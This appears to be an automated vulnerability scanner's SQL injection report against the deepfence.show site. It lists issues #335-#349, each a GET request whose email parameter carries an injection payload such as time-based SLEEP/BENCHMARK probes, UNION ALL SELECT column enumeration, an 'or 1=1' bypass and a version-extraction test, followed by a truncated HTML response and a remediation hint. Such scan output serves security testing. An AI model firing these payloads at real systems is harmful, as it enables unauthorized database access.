Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 1=0--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #335
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #336Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary 
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #337
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io%
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #338
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #339
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #340
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io +benchmark(3200,SHA1(1))+'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #341
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width
=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps
/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript">
window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start 
of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://
static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320">
</script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <
link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJb
WFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQI
oqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary 
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #342
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@
deepfence.io+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #343
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io,
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #344
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #345
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 21
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #346
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io/
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #347Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 13#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #348
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioadmin' or '1'='1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #349
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io and (select substring(@@version,3,1))='S'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
